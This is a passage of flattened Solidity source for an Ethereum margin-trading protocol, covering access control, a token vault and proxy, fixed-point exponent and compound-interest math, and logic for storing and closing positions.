c = _a + _b;
assert(c >= _a);
return c;
}
}
library Math {
function max64(uint64 _a, uint64 _b) internal pure returns (uint64) {
return _a >= _b ? _a : _b;
}
function min64(uint64 _a, uint64 _b) internal pure returns (uint64) {
return _a < _b ? _a : _b;
}
function max256(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a >= _b ? _a : _b;
}
function min256(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a < _b ? _a : _b;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract AccessControlledBase {
mapping (address => bool) public authorized;
event AccessGranted(
address who
);
event AccessRevoked(
address who
);
modifier requiresAuthorization() {
require(
authorized[msg.sender],
"AccessControlledBase#requiresAuthorization: Sender not authorized"
);
_;
}
}
contract StaticAccessControlled is AccessControlledBase, Ownable {
using SafeMath for uint256;
uint256 public GRACE_PERIOD_EXPIRATION;
constructor(
uint256 gracePeriod
)
public
Ownable()
{
GRACE_PERIOD_EXPIRATION = block.timestamp.add(gracePeriod);
}
function grantAccess(
address who
)
external
onlyOwner
{
require(
block.timestamp < GRACE_PERIOD_EXPIRATION,
"StaticAccessControlled#grantAccess: Cannot grant access after grace period"
);
emit AccessGranted(who);
authorized[who] = true;
}
}
interface GeneralERC20 {
function totalSupply(
)
external
view
returns (uint256);
function balanceOf(
address who
)
external
view
returns (uint256);
function allowance(
address owner,
address spender
)
external
view
returns (uint256);
function transfer(
address to,
uint256 value
)
external;
function transferFrom(
address from,
address to,
uint256 value
)
external;
function approve(
address spender,
uint256 value
)
external;
}
library TokenInteract {
function balanceOf(
address token,
address owner
)
internal
view
returns (uint256)
{
return GeneralERC20(token).balanceOf(owner);
}
function allowance(
address token,
address owner,
address spender
)
internal
view
returns (uint256)
{
return GeneralERC20(token).allowance(owner, spender);
}
function approve(
address token,
address spender,
uint256 amount
)
internal
{
GeneralERC20(token).approve(spender, amount);
require(
checkSuccess(),
"TokenInteract#approve: Approval failed"
);
}
function transfer(
address token,
address to,
uint256 amount
)
internal
{
address from = address(this);
if (
amount == 0
|| from == to
) {
return;
}
GeneralERC20(token).transfer(to, amount);
require(
checkSuccess(),
"TokenInteract#transfer: Transfer failed"
);
}
function transferFrom(
address token,
address from,
address to,
uint256 amount
)
internal
{
if (
amount == 0
|| from == to
) {
return;
}
GeneralERC20(token).transferFrom(from, to, amount);
require(
checkSuccess(),
"TokenInteract#transferFrom: TransferFrom failed"
);
}
function checkSuccess(
)
private
pure
returns (bool)
{
uint256 returnValue = 0;
assembly {
switch returndatasize
case 0x0 {
returnValue := 1
}
case 0x20 {
returndatacopy(0x0, 0x0, 0x20)
returnValue := mload(0x0)
}
default { }
}
return returnValue != 0;
}
}
contract TokenProxy is StaticAccessControlled {
using SafeMath for uint256;
constructor(
uint256 gracePeriod
)
public
StaticAccessControlled(gracePeriod)
{}
function transferTokens(
address token,
address from,
address to,
uint256 value
)
external
requiresAuthorization
{
TokenInteract.transferFrom(
token,
from,
to,
value
);
}
function available(
address who,
address token
)
external
view
returns (uint256)
{
return Math.min256(
TokenInteract.allowance(token, who, address(this)),
TokenInteract.balanceOf(token, who)
);
}
}
contract Vault is StaticAccessControlled
{
using SafeMath for uint256;
event ExcessTokensWithdrawn(
address indexed token,
address indexed to,
address caller
);
address public TOKEN_PROXY;
mapping (bytes32 => mapping (address => uint256)) public balances;
mapping (address => uint256) public totalBalances;
constructor(
address proxy,
uint256 gracePeriod
)
public
StaticAccessControlled(gracePeriod)
{
TOKEN_PROXY = proxy;
}
function withdrawExcessToken(
address token,
address to
)
external
onlyOwner
returns (uint256)
{
uint256 actualBalance = TokenInteract.balanceOf(token, address(this));
uint256 accountedBalance = totalBalances[token];
uint256 withdrawableBalance = actualBalance.sub(accountedBalance);
require(
withdrawableBalance != 0,
"Vault#withdrawExcessToken: Withdrawable token amount must be non-zero"
);
TokenInteract.transfer(token, to, withdrawableBalance);
emit ExcessTokensWithdrawn(token, to, msg.sender);
return withdrawableBalance;
}
function transferToVault(
bytes32 id,
address token,
address from,
uint256 amount
)
external
requiresAuthorization
{
TokenProxy(TOKEN_PROXY).transferTokens(
token,
from,
address(this),
amount
);
balances[id][token] = balances[id][token].add(amount);
totalBalances[token] = totalBalances[token].add(amount);
assert(totalBalances[token] >= balances[id][token]);
validateBalance(token);
}
function transferFromVault(
bytes32 id,
address token,
address to,
uint256 amount
)
external
requiresAuthorization
{
balances[id][token] = balances[id][token].sub(amount);
totalBalances[token] = totalBalances[token].sub(amount);
assert(totalBalances[token] >= balances[id][token]);
TokenInteract.transfer(token, to, amount);
validateBalance(token);
}
function validateBalance(
address token
)
private
view
{
assert(TokenInteract.balanceOf(token, address(this)) >= totalBalances[token]);
}
}
contract ReentrancyGuard {
uint256 private _guardCounter = 1;
modifier nonReentrant() {
uint256 localCounter = _guardCounter + 1;
_guardCounter = localCounter;
_;
require(
_guardCounter == localCounter,
"Reentrancy check failure"
);
}
}
library AddressUtils {
function isContract(address _addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
library Fraction {
struct Fraction128 {
uint128 num;
uint128 den;
}
}
library FractionMath {
using SafeMath for uint256;
using SafeMath for uint128;
function add(
Fraction.Fraction128 memory a,
Fraction.Fraction128 memory b
)
internal
pure
returns (Fraction.Fraction128 memory)
{
uint256 left = a.num.mul(b.den);
uint256 right = b.num.mul(a.den);
uint256 denominator = a.den.mul(b.den);
if (left + right < left) {
left = left.div(2);
right = right.div(2);
denominator = denominator.div(2);
}
return bound(left.add(right), denominator);
}
function sub1Over(
Fraction.Fraction128 memory a,
uint128 d
)
internal
pure
returns (Fraction.Fraction128 memory)
{
if (a.den % d == 0) {
return bound(
a.num.sub(a.den.div(d)),
a.den
);
}
return bound(
a.num.mul(d).sub(a.den),
a.den.mul(d)
);
}
function div(
Fraction.Fraction128 memory a,
uint128 d
)
internal
pure
returns (Fraction.Fraction128 memory)
{
if (a.num % d == 0) {
return bound(
a.num.div(d),
a.den
);
}
return bound(
a.num,
a.den.mul(d)
);
}
function mul(
Fraction.Fraction128 memory a,
Fraction.Fraction128 memory b
)
internal
pure
returns (Fraction.Fraction128 memory)
{
return bound(
a.num.mul(b.num),
a.den.mul(b.den)
);
}
function bound(
uint256 num,
uint256 den
)
internal
pure
returns (Fraction.Fraction128 memory)
{
uint256 max = num > den ? num : den;
uint256 first128Bits = (max >> 128);
if (first128Bits != 0) {
first128Bits += 1;
num /= first128Bits;
den /= first128Bits;
}
assert(den != 0);
assert(den < 2**128);
assert(num < 2**128);
return Fraction.Fraction128({
num: uint128(num),
den: uint128(den)
});
}
function copy(
Fraction.Fraction128 memory a
)
internal
pure
returns (Fraction.Fraction128 memory)
{
validate(a);
return Fraction.Fraction128({ num: a.num, den: a.den });
}
function validate(
Fraction.Fraction128 memory a
)
private
pure
{
assert(a.den != 0);
}
}
library Exponent {
using SafeMath for uint256;
using FractionMath for Fraction.Fraction128;
uint128 constant public MAX_NUMERATOR = 340282366920938463463374607431768211455;
uint256 constant public MAX_PRECOMPUTE_PRECISION = 32;
uint256 constant public NUM_PRECOMPUTED_INTEGERS = 32;
function exp(
Fraction.Fraction128 memory X,
uint256 precomputePrecision,
uint256 maclaurinPrecision
)
internal
pure
returns (Fraction.Fraction128 memory)
{
require(
precomputePrecision <= MAX_PRECOMPUTE_PRECISION,
"Exponent#exp: Precompute precision over maximum"
);
Fraction.Fraction128 memory Xcopy = X.copy();
if (Xcopy.num == 0) {
return ONE();
}
uint256 integerX = uint256(Xcopy.num).div(Xcopy.den);
if (integerX == 0) {
return expHybrid(Xcopy, precomputePrecision, maclaurinPrecision);
}
Fraction.Fraction128 memory expOfInt =
getPrecomputedEToThe(integerX % NUM_PRECOMPUTED_INTEGERS);
while (integerX >= NUM_PRECOMPUTED_INTEGERS) {
expOfInt = expOfInt.mul(getPrecomputedEToThe(NUM_PRECOMPUTED_INTEGERS));
integerX -= NUM_PRECOMPUTED_INTEGERS;
}
Fraction.Fraction128 memory decimalX = Fraction.Fraction128({
num: Xcopy.num % Xcopy.den,
den: Xcopy.den
});
return expHybrid(decimalX, precomputePrecision, maclaurinPrecision).mul(expOfInt);
}
function expHybrid(
Fraction.Fraction128 memory X,
uint256 precomputePrecision,
uint256 maclaurinPrecision
)
internal
pure
returns (Fraction.Fraction128 memory)
{
assert(precomputePrecision <= MAX_PRECOMPUTE_PRECISION);
assert(X.num < X.den);
Fraction.Fraction128 memory Xtemp = X.copy();
if (Xtemp.num == 0) {
return ONE();
}
Fraction.Fraction128 memory result = ONE();
uint256 d = 1;
for (uint256 i = 1; i <= precomputePrecision; i++) {
d *= 2;
if (d.mul(Xtemp.num) >= Xtemp.den) {
Xtemp = Xtemp.sub1Over(uint128(d));
result = result.mul(getPrecomputedEToTheHalfToThe(i));
}
}
return result.mul(expMaclaurin(Xtemp, maclaurinPrecision));
}
function expMaclaurin(
Fraction.Fraction128 memory X,
uint256 precision
)
internal
pure
returns (Fraction.Fraction128 memory)
{
Fraction.Fraction128 memory Xcopy = X.copy();
if (Xcopy.num == 0) {
return ONE();
}
Fraction.Fraction128 memory result = ONE();
Fraction.Fraction128 memory Xtemp = ONE();
for (uint256 i = 1; i <= precision; i++) {
Xtemp = Xtemp.mul(Xcopy.div(uint128(i)));
result = result.add(Xtemp);
}
return result;
}
function getPrecomputedEToTheHalfToThe(
uint256 x
)
internal
pure
returns (Fraction.Fraction128 memory)
{
assert(x <= MAX_PRECOMPUTE_PRECISION);
uint128 denominator = [
125182886983370532117250726298150828301,
206391688497133195273760705512282642279,
265012173823417992016237332255925138361,
300298134811882980317033350418940119802,
319665700530617779809390163992561606014,
329812979126047300897653247035862915816,
335006777809430963166468914297166288162,
337634268532609249517744113622081347950,
338955731696479810470146282672867036734,
339618401537809365075354109784799900812,
339950222128463181389559457827561204959,
340116253979683015278260491021941090650,
340199300311581465057079429423749235412,
340240831081268226777032180141478221816,
340261598367316729254995498374473399540,
340271982485676106947851156443492415142,
340277174663693808406010255284800906112,
340279770782412691177936847400746725466,
340281068849199706686796915841848278311,
340281717884450116236033378667952410919,
340282042402539547492367191008339680733,
340282204661700319870089970029119685699,
340282285791309720262481214385569134454,
340282326356121674011576912006427792656,
340282346638529464274601981200276914173,
340282356779733812753265346086924801364,
340282361850336100329388676752133324799,
340282364385637272451648746721404212564,
340282365653287865596328444437856608255,
340282366287113163939555716675618384724,
340282366604025813553891209601455838559,
340282366762482138471739420386372790954,
340282366841710300958333641874363209044
][x];
return Fraction.Fraction128({
num: MAX_NUMERATOR,
den: denominator
});
}
function getPrecomputedEToThe(
uint256 x
)
internal
pure
returns (Fraction.Fraction128 memory)
{
assert(x <= NUM_PRECOMPUTED_INTEGERS);
uint128 denominator = [
340282366920938463463374607431768211455,
125182886983370532117250726298150828301,
46052210507670172419625860892627118820,
16941661466271327126146327822211253888,
6232488952727653950957829210887653621,
2292804553036637136093891217529878878,
843475657686456657683449904934172134,
310297353591408453462393329342695980,
114152017036184782947077973323212575,
41994180235864621538772677139808695,
15448795557622704876497742989562086,
5683294276510101335127414470015662,
2090767122455392675095471286328463,
769150240628514374138961856925097,
282954560699298259527814398449860,
104093165666968799599694528310221,
38293735615330848145349245349513,
14087478058534870382224480725096,
5182493555688763339001418388912,
1906532833141383353974257736699,
701374233231058797338605168652,
258021160973090761055471434334,
94920680509187392077350434438,
34919366901332874995585576427,
12846117181722897538509298435,
4725822410035083116489797150,
1738532907279185132707372378,
639570514388029575350057932,
235284843422800231081973821,
86556456714490055457751527,
31842340925906738090071268,
11714142585413118080082437,
4309392228124372433711936
][x];
return Fraction.Fraction128({
num: MAX_NUMERATOR,
den: denominator
});
}
function ONE()
private
pure
returns (Fraction.Fraction128 memory)
{
return Fraction.Fraction128({ num: 1, den: 1 });
}
}
library MathHelpers {
using SafeMath for uint256;
function getPartialAmount(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256)
{
return numerator.mul(target).div(denominator);
}
function getPartialAmountRoundedUp(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256)
{
return divisionRoundedUp(numerator.mul(target), denominator);
}
function divisionRoundedUp(
uint256 numerator,
uint256 denominator
)
internal
pure
returns (uint256)
{
assert(denominator != 0);
if (numerator == 0) {
return 0;
}
return numerator.sub(1).div(denominator).add(1);
}
function maxUint256(
)
internal
pure
returns (uint256)
{
return 2 ** 256 - 1;
}
function maxUint32(
)
internal
pure
returns (uint32)
{
return 2 ** 32 - 1;
}
function getNumBits(
uint256 n
)
internal
pure
returns (uint256)
{
uint256 first = 0;
uint256 last = 256;
while (first < last) {
uint256 check = (first + last) / 2;
if ((n >> check) == 0) {
last = check;
} else {
first = check + 1;
}
}
assert(first <= 256);
return first;
}
}
library InterestImpl {
using SafeMath for uint256;
using FractionMath for Fraction.Fraction128;
uint256 constant DEFAULT_PRECOMPUTE_PRECISION = 11;
uint256 constant DEFAULT_MACLAURIN_PRECISION = 5;
uint256 constant MAXIMUM_EXPONENT = 80;
uint128 constant E_TO_MAXIUMUM_EXPONENT = 55406223843935100525711733958316613;
function getCompoundedInterest(
uint256 principal,
uint256 interestRate,
uint256 secondsOfInterest
)
public
pure
returns (uint256)
{
uint256 numerator = interestRate.mul(secondsOfInterest);
uint128 denominator = (10**8) * (365 * 1 days);
assert(numerator < 2**128);
Fraction.Fraction128 memory rt = Fraction.Fraction128({
num: uint128(numerator),
den: denominator
});
Fraction.Fraction128 memory eToRT;
if (numerator.div(denominator) >= MAXIMUM_EXPONENT) {
eToRT = Fraction.Fraction128({
num: E_TO_MAXIUMUM_EXPONENT,
den: 1
});
} else {
eToRT = Exponent.exp(
rt,
DEFAULT_PRECOMPUTE_PRECISION,
DEFAULT_MACLAURIN_PRECISION
);
}
assert(eToRT.num >= eToRT.den);
return safeMultiplyUint256ByFraction(principal, eToRT);
}
function safeMultiplyUint256ByFraction(
uint256 n,
Fraction.Fraction128 memory f
)
private
pure
returns (uint256)
{
uint256 term1 = n.div(2 ** 128);
uint256 term2 = n % (2 ** 128);
if (term1 > 0) {
term1 = term1.mul(f.num);
uint256 numBits = MathHelpers.getNumBits(term1);
term1 = MathHelpers.divisionRoundedUp(
term1 << (uint256(256).sub(numBits)),
f.den);
if (numBits > 128) {
term1 = term1 << (numBits.sub(128));
} else if (numBits < 128) {
term1 = term1 >> (uint256(128).sub(numBits));
}
}
term2 = MathHelpers.getPartialAmountRoundedUp(
f.num,
f.den,
term2
);
return term1.add(term2);
}
}
library MarginState {
struct State {
address VAULT;
address TOKEN_PROXY;
mapping (bytes32 => uint256) loanFills;
mapping (bytes32 => uint256) loanCancels;
mapping (bytes32 => MarginCommon.Position) positions;
mapping (bytes32 => bool) closedPositions;
mapping (bytes32 => uint256) totalOwedTokenRepaidToLender;
}
}
interface LoanOwner {
function receiveLoanOwnership(
address from,
bytes32 positionId
)
external
returns (address);
}
interface PositionOwner {
function receivePositionOwnership(
address from,
bytes32 positionId
)
external
returns (address);
}
library TransferInternal {
event LoanTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
event PositionTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
function grantLoanOwnership(
bytes32 positionId,
address oldOwner,
address newOwner
)
internal
returns (address)
{
if (oldOwner != address(0)) {
emit LoanTransferred(positionId, oldOwner, newOwner);
}
if (AddressUtils.isContract(newOwner)) {
address nextOwner =
LoanOwner(newOwner).receiveLoanOwnership(oldOwner, positionId);
if (nextOwner != newOwner) {
return grantLoanOwnership(positionId, newOwner, nextOwner);
}
}
require(
newOwner != address(0),
"TransferInternal#grantLoanOwnership: New owner did not consent to owning loan"
);
return newOwner;
}
function grantPositionOwnership(
bytes32 positionId,
address oldOwner,
address newOwner
)
internal
returns (address)
{
if (oldOwner != address(0)) {
emit PositionTransferred(positionId, oldOwner, newOwner);
}
if (AddressUtils.isContract(newOwner)) {
address nextOwner =
PositionOwner(newOwner).receivePositionOwnership(oldOwner, positionId);
if (nextOwner != newOwner) {
return grantPositionOwnership(positionId, newOwner, nextOwner);
}
}
require(
newOwner != address(0),
"TransferInternal#grantPositionOwnership: New owner did not consent to owning position"
);
return newOwner;
}
}
library TimestampHelper {
function getBlockTimestamp32()
internal
view
returns (uint32)
{
assert(uint256(uint32(block.timestamp)) == block.timestamp);
assert(block.timestamp > 0);
return uint32(block.timestamp);
}
}
library MarginCommon {
using SafeMath for uint256;
struct Position {
address owedToken;
address heldToken;
address lender;
address owner;
uint256 principal;
uint256 requiredDeposit;
uint32 callTimeLimit;
uint32 startTimestamp;
uint32 callTimestamp;
uint32 maxDuration;
uint32 interestRate;
uint32 interestPeriod;
}
struct LoanOffering {
address owedToken;
address heldToken;
address payer;
address owner;
address taker;
address positionOwner;
address feeRecipient;
address lenderFeeToken;
address takerFeeToken;
LoanRates rates;
uint256 expirationTimestamp;
uint32 callTimeLimit;
uint32 maxDuration;
uint256 salt;
bytes32 loanHash;
bytes signature;
}
struct LoanRates {
uint256 maxAmount;
uint256 minAmount;
uint256 minHeldToken;
uint256 lenderFee;
uint256 takerFee;
uint32 interestRate;
uint32 interestPeriod;
}
function storeNewPosition(
MarginState.State storage state,
bytes32 positionId,
Position memory position,
address loanPayer
)
internal
{
assert(!positionHasExisted(state, positionId));
assert(position.owedToken != address(0));
assert(position.heldToken != address(0));
assert(position.owedToken != position.heldToken);
assert(position.owner != address(0));
assert(position.lender != address(0));
assert(position.maxDuration != 0);
assert(position.interestPeriod <= position.maxDuration);
assert(position.callTimestamp == 0);
assert(position.requiredDeposit == 0);
state.positions[positionId].owedToken = position.owedToken;
state.positions[positionId].heldToken = position.heldToken;
state.positions[positionId].principal = position.principal;
state.positions[positionId].callTimeLimit = position.callTimeLimit;
state.positions[positionId].startTimestamp = TimestampHelper.getBlockTimestamp32();
state.positions[positionId].maxDuration = position.maxDuration;
state.positions[positionId].interestRate = position.interestRate;
state.positions[positionId].interestPeriod = position.interestPeriod;
state.positions[positionId].owner = TransferInternal.grantPositionOwnership(
positionId,
(position.owner != msg.sender) ? msg.sender : address(0),
position.owner
);
state.positions[positionId].lender = TransferInternal.grantLoanOwnership(
positionId,
(position.lender != loanPayer) ? loanPayer : address(0),
position.lender
);
}
function getPositionIdFromNonce(
uint256 nonce
)
internal
view
returns (bytes32)
{
return keccak256(abi.encodePacked(msg.sender, nonce));
}
function getUnavailableLoanOfferingAmountImpl(
MarginState.State storage state,
bytes32 loanHash
)
internal
view
returns (uint256)
{
return state.loanFills[loanHash].add(state.loanCancels[loanHash]);
}
function cleanupPosition(
MarginState.State storage state,
bytes32 positionId
)
internal
{
delete state.positions[positionId];
state.closedPositions[positionId] = true;
}
function calculateOwedAmount(
Position storage position,
uint256 closeAmount,
uint256 endTimestamp
)
internal
view
returns (uint256)
{
uint256 timeElapsed = calculateEffectiveTimeElapsed(position, endTimestamp);
return InterestImpl.getCompoundedInterest(
closeAmount,
position.interestRate,
timeElapsed
);
}
function calculateEffectiveTimeElapsed(
Position storage position,
uint256 timestamp
)
internal
view
returns (uint256)
{
uint256 elapsed = timestamp.sub(position.startTimestamp);
uint256 period = position.interestPeriod;
if (period > 1) {
elapsed = MathHelpers.divisionRoundedUp(elapsed, period).mul(period);
}
return Math.min256(
elapsed,
position.maxDuration
);
}
function calculateLenderAmountForIncreasePosition(
Position storage position,
uint256 principalToAdd,
uint256 endTimestamp
)
internal
view
returns (uint256)
{
uint256 timeElapsed = calculateEffectiveTimeElapsedForNewLender(position, endTimestamp);
return InterestImpl.getCompoundedInterest(
principalToAdd,
position.interestRate,
timeElapsed
);
}
function getLoanOfferingHash(
LoanOffering loanOffering
)
internal
view
returns (bytes32)
{
return keccak256(
abi.encodePacked(
address(this),
loanOffering.owedToken,
loanOffering.heldToken,
loanOffering.payer,
loanOffering.owner,
loanOffering.taker,
loanOffering.positionOwner,
loanOffering.feeRecipient,
loanOffering.lenderFeeToken,
loanOffering.takerFeeToken,
getValuesHash(loanOffering)
)
);
}
function getPositionBalanceImpl(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns(uint256)
{
return Vault(state.VAULT).balances(positionId, state.positions[positionId].heldToken);
}
function containsPositionImpl(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns (bool)
{
return state.positions[positionId].startTimestamp != 0;
}
function positionHasExisted(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns (bool)
{
return containsPositionImpl(state, positionId) || state.closedPositions[positionId];
}
function getPositionFromStorage(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns (Position storage)
{
Position storage position = state.positions[positionId];
require(
position.startTimestamp != 0,
"MarginCommon#getPositionFromStorage: The position does not exist"
);
return position;
}
function calculateEffectiveTimeElapsedForNewLender(
Position storage position,
uint256 timestamp
)
private
view
returns (uint256)
{
uint256 elapsed = timestamp.sub(position.startTimestamp);
uint256 period = position.interestPeriod;
if (period > 1) {
elapsed = elapsed.div(period).mul(period);
}
return Math.min256(
elapsed,
position.maxDuration
);
}
function getValuesHash(
LoanOffering loanOffering
)
private
pure
returns (bytes32)
{
return keccak256(
abi.encodePacked(
loanOffering.rates.maxAmount,
loanOffering.rates.minAmount,
loanOffering.rates.minHeldToken,
loanOffering.rates.lenderFee,
loanOffering.rates.takerFee,
loanOffering.expirationTimestamp,
loanOffering.salt,
loanOffering.callTimeLimit,
loanOffering.maxDuration,
loanOffering.rates.interestRate,
loanOffering.rates.interestPeriod
)
);
}
}
interface PayoutRecipient {
function receiveClosePositionPayout(
bytes32 positionId,
uint256 closeAmount,
address closer,
address positionOwner,
address heldToken,
uint256 payout,
uint256 totalHeldToken,
bool payoutInHeldToken
)
external
returns (bool);
}
interface CloseLoanDelegator {
function closeLoanOnBehalfOf(
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 requestedAmount
)
external
returns (address, uint256);
}
interface ClosePositionDelegator {
function closeOnBehalfOf(
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 requestedAmount
)
external
returns (address, uint256);
}
library ClosePositionShared {
using SafeMath for uint256;
struct CloseTx {
bytes32 positionId;
uint256 originalPrincipal;
uint256 closeAmount;
uint256 owedTokenOwed;
uint256 startingHeldTokenBalance;
uint256 availableHeldToken;
address payoutRecipient;
address owedToken;
address heldToken;
address positionOwner;
address positionLender;
address exchangeWrapper;
bool payoutInHeldToken;
}
function closePositionStateUpdate(
MarginState.State storage state,
CloseTx memory transaction
)
internal
{
if (transaction.closeAmount == transaction.originalPrincipal) {
MarginCommon.cleanupPosition(state, transaction.positionId);
} else {
assert(
transaction.originalPrincipal == state.positions[transaction.positionId].principal
);
state.positions[transaction.positionId].principal =
transaction.originalPrincipal.sub(transaction.closeAmount);
}
}
function sendTokensToPayoutRecipient(
MarginState.State storage state,
ClosePositionShared.CloseTx memory transaction,
uint256 buybackCostInHeldToken,
uint256 receivedOwedToken
)
internal
returns (uint256)
{
uint256 payout;
if (transaction.payoutInHeldToken) {
payout = transaction.availableHeldToken.sub(buybackCostInHeldToken);
Vault(state.VAULT).transferFromVault(
transaction.positionId,
transaction.heldToken,
transaction.payoutRecipient,
payout
);
} else {
assert(transaction.exchangeWrapper != address(0));
payout = receivedOwedToken.sub(transaction.owedTokenOwed);
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.owedToken,
transaction.exchangeWrapper,
transaction.payoutRecipient,
payout
);
}
if (AddressUtils.isContract(transaction.payoutRecipient)) {
require(
PayoutRecipient(transaction.payoutRecipient).receiveClosePositionPayout(
transaction.positionId,
transaction.closeAmount,
msg.sender,
transaction.positionOwner,
transaction.heldToken,
payout,
transaction.availableHeldToken,
transaction.payoutInHeldToken
),
"ClosePositionShared#sendTokensToPayoutRecipient: Payout recipient does not consent"
);
}
assert(
MarginCommon.getPositionBalanceImpl(state, transaction.positionId)
== transaction.startingHeldTokenBalance.sub(transaction.availableHeldToken)
);
return payout;
}
function createCloseTx(
MarginState.State storage state,
bytes32 positionId,
uint256 requestedAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bool isWithoutCounterparty
)
internal
returns (CloseTx memory)
{
require(
payoutRecipient != address(0),
"ClosePositionShared#createCloseTx: Payout recipient cannot be 0"
);
require(
requestedAmount > 0,
"ClosePositionShared#createCloseTx: Requested close amount cannot be 0"
);
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
uint256 closeAmount = getApprovedAmount(
position,
positionId,
requestedAmount,
payoutRecipient,
isWithoutCounterparty
);
return parseCloseTx(
state,
position,
positionId,
closeAmount,
payoutRecipient,
exchangeWrapper,
payoutInHeldToken,
isWithoutCounterparty
);
}
function getApprovedAmount(
MarginCommon.Position storage position,
bytes32 positionId,
uint256 requestedAmount,
address payoutRecipient,
bool requireLenderApproval
)
private
returns (uint256)
{
uint256 allowedAmount = Math.min256(requestedAmount, position.principal);
allowedAmount = closePositionOnBehalfOfRecurse(
position.owner,
msg.sender,
payoutRecipient,
positionId,
allowedAmount
);
if (requireLenderApproval) {
allowedAmount = closeLoanOnBehalfOfRecurse(
position.lender,
msg.sender,
payoutRecipient,
positionId,
allowedAmount
);
}
assert(allowedAmount > 0);
assert(allowedAmount <= position.principal);
assert(allowedAmount <= requestedAmount);
return allowedAmount;
}
function closePositionOnBehalfOfRecurse(
address contractAddr,
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 closeAmount
)
private
returns (uint256)
{
if (closer == contractAddr) {
return closeAmount;
}
(
address newContractAddr,
uint256 newCloseAmount
) = ClosePositionDelegator(contractAddr).closeOnBehalfOf(
closer,
payoutRecipient,
positionId,
closeAmount
);
require(
newCloseAmount <= closeAmount,
"ClosePositionShared#closePositionRecurse: newCloseAmount is greater than closeAmount"
);
require(
newCloseAmount > 0,
"ClosePositionShared#closePositionRecurse: newCloseAmount is zero"
);
if (newContractAddr != contractAddr) {
closePositionOnBehalfOfRecurse(
newContractAddr,
closer,
payoutRecipient,
positionId,
newCloseAmount
);
}
return newCloseAmount;
}
function closeLoanOnBehalfOfRecurse(
address contractAddr,
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 closeAmount
)
private
returns (uint256)
{
if (closer == contractAddr) {
return closeAmount;
}
(
address newContractAddr,
uint256 newCloseAmount
) = CloseLoanDelegator(contractAddr).closeLoanOnBehalfOf(
closer,
payoutRecipient,
positionId,
closeAmount
);
require(
newCloseAmount <= closeAmount,
"ClosePositionShared#closeLoanRecurse: newCloseAmount is greater than closeAmount"
);
require(
newCloseAmount > 0,
"ClosePositionShared#closeLoanRecurse: newCloseAmount is zero"
);
if (newContractAddr != contractAddr) {
closeLoanOnBehalfOfRecurse(
newContractAddr,
closer,
payoutRecipient,
positionId,
newCloseAmount
);
}
return newCloseAmount;
}
function parseCloseTx(
MarginState.State storage state,
MarginCommon.Position storage position,
bytes32 positionId,
uint256 closeAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bool isWithoutCounterparty
)
private
view
returns (CloseTx memory)
{
uint256 startingHeldTokenBalance = MarginCommon.getPositionBalanceImpl(state, positionId);
uint256 availableHeldToken = MathHelpers.getPartialAmount(
closeAmount,
position.principal,
startingHeldTokenBalance
);
uint256 owedTokenOwed = 0;
if (!isWithoutCounterparty) {
owedTokenOwed = MarginCommon.calculateOwedAmount(
position,
closeAmount,
block.timestamp
);
}
return CloseTx({
positionId: positionId,
originalPrincipal: position.principal,
closeAmount: closeAmount,
owedTokenOwed: owedTokenOwed,
startingHeldTokenBalance: startingHeldTokenBalance,
availableHeldToken: availableHeldToken,
payoutRecipient: payoutRecipient,
owedToken: position.owedToken,
heldToken: position.heldToken,
positionOwner: position.owner,
positionLender: position.lender,
exchangeWrapper: exchangeWrapper,
payoutInHeldToken: payoutInHeldToken
});
}
}
interface ExchangeWrapper {
function exchange(
address tradeOriginator,
address receiver,
address makerToken,
address takerToken,
uint256 requestedFillAmount,
bytes orderData
)
external
returns (uint256);
function getExchangeCost(
address makerToken,
address takerToken,
uint256 desiredMakerToken,
bytes orderData
)
external
view
returns (uint256);
}
library ClosePositionImpl {
using SafeMath for uint256;
event PositionClosed(
bytes32 indexed positionId,
address indexed closer,
address indexed payoutRecipient,
uint256 closeAmount,
uint256 remainingAmount,
uint256 owedTokenPaidToLender,
uint256 payoutAmount,
uint256 buybackCostInHeldToken,
bool payoutInHeldToken
);
function closePositionImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bytes memory orderData
)
public
returns (uint256, uint256, uint256)
{
ClosePositionShared.CloseTx memory transaction = ClosePositionShared.createCloseTx(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
exchangeWrapper,
payoutInHeldToken,
false
);
(
uint256 buybackCostInHeldToken,
uint256 receivedOwedToken
) = returnOwedTokensToLender(
state,
transaction,
orderData
);
uint256 payout = ClosePositionShared.sendTokensToPayoutRecipient(
state,
transaction,
buybackCostInHeldToken,
receivedOwedToken
);
ClosePositionShared.closePositionStateUpdate(state, transaction);
logEventOnClose(
transaction,
buybackCostInHeldToken,
payout
);
return (
transaction.closeAmount,
payout,
transaction.owedTokenOwed
);
}
function returnOwedTokensToLender(
MarginState.State storage state,
ClosePositionShared.CloseTx memory transaction,
bytes memory orderData
)
private
returns (uint256, uint256)
{
